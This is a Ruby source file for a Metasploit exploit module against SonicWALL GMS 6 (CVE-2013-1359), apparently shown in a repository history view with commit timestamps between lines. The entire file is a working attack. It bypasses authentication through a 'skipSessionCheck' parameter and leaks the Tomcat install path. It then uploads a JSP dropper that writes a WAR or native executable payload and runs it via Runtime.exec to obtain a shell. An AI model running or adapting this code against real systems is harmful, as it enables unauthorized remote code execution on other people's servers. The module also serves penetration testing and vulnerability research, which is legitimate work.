metasploit-framework/modules/exploits/multi/http/sonicwall_gms_upload.rb

286 lines
7.8 KiB
Ruby
Raw Normal View History

2013-01-22 00:54:41 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-01-22 00:54:41 +00:00
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWALL GMS 6 Arbitrary File Upload',
2013-01-22 00:54:41 +00:00
'Description' => %q{
This module exploits a code execution flaw in SonicWALL GMS. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
Web Administration interface allows to abuse the "appliance" application and upload
an arbitrary payload embedded in a JSP. The module has been tested successfully on
SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
successfully while testing, shell payload have been used.
},
'Author' =>
[
'Nikolas Sotiriu', # Vulnerability Discovery
'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1359'],
[ 'OSVDB', '89347' ],
[ 'BID', '57445' ],
[ 'EDB', '24204' ]
],
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'SonicWALL GMS 6.0 Viewpoint / Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
2013-01-22 00:54:41 +00:00
[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)',
2013-01-22 00:54:41 +00:00
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 17 2012'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
], self.class)
end
2013-01-23 11:44:55 +00:00
def install_path
return @install_path if @install_path
2013-01-22 00:54:41 +00:00
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path,"appliance","applianceMainPage") + "?skipSessionCheck=1",
2013-01-22 00:54:41 +00:00
'method' => 'POST',
'connection' => 'TE, close',
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'vars_post' => {
'num' => '123456',
'action' => 'show_diagnostics',
'task' => 'search',
'item' => 'application_log',
'criteria' => '*.*',
'width' => '500'
}
})
@install_path = nil
2013-01-22 00:54:41 +00:00
if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
@install_path = $1
2013-01-22 00:54:41 +00:00
end
@install_path
2013-01-22 00:54:41 +00:00
end
def upload_file(location, filename, contents)
post_data = Rex::MIME::Message.new
post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
# Work around an incompatible MIME implementation
2013-01-22 00:54:41 +00:00
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "appliance","applianceMainPage") + "?skipSessionCheck=1",
2013-01-22 00:54:41 +00:00
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'connection' => 'TE, close'
})
register_files_for_cleanup(path_join(location, filename))
2013-01-22 00:54:41 +00:00
if res and res.code == 200 and res.body.empty?
return true
else
return false
end
end
def upload_and_run_jsp(filename, contents)
upload_file(path_join(install_path,"webapps","appliance"), filename, contents)
send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "appliance", filename),
'method' => 'GET'
})
end
2013-01-22 00:54:41 +00:00
def check
if install_path.nil?
2013-01-22 00:54:41 +00:00
return Exploit::CheckCode::Safe
end
if install_path.include?("\\")
print_status("Target looks like Windows")
else
print_status("Target looks like Linux")
end
2013-01-22 00:54:41 +00:00
return Exploit::CheckCode::Vulnerable
end
def exploit
@peer = "#{rhost}:#{rport}"
# Get Tomcat installation path
print_status("#{@peer} - Retrieving Tomcat installation path...")
if install_path.nil?
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
end
print_good("#{@peer} - Tomcat installed on #{install_path}")
if target['Platform'] == "java"
exploit_java
else
exploit_native
2013-01-22 00:54:41 +00:00
end
end
2013-01-22 00:54:41 +00:00
def exploit_java
print_status("#{@peer} - Uploading WAR file")
app_base = rand_text_alphanumeric(4+rand(32-4))
war = payload.encoded_war({ :app_name => app_base }).to_s
war_filename = path_join(install_path, "webapps", "#{app_base}.war")
register_files_for_cleanup(war_filename)
2013-01-22 00:54:41 +00:00
dropper = jsp_drop_bin(war, war_filename)
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
upload_and_run_jsp(dropper_filename, dropper)
10.times do
select(nil, nil, nil, 2)
# Now make a request to trigger the newly deployed war
print_status("#{@peer} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
def exploit_native
print_status("#{@peer} - Uploading executable file")
exe = payload.encoded_exe
exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8))
if target['Platform'] == "win"
exe << ".exe"
end
2013-01-22 00:54:41 +00:00
register_files_for_cleanup(exe_filename)
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
upload_and_run_jsp(dropper_filename, dropper)
end
def path_join(*paths)
if install_path.include?("\\")
path = paths.join("\\")
path.gsub!(%r|\\+|, "\\\\\\\\")
else
path = paths.join("/")
path.gsub!(%r|//+|, "/")
end
path
end
2013-01-22 00:54:41 +00:00
# This should probably go in a mixin
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
2013-01-22 00:54:41 +00:00
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
2013-01-22 00:54:41 +00:00
jspraw << %Q|int numbytes = data.length();\n|
2013-01-22 00:54:41 +00:00
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
2013-01-22 00:54:41 +00:00
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
2013-01-22 00:54:41 +00:00
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
2013-01-22 00:54:41 +00:00
end
end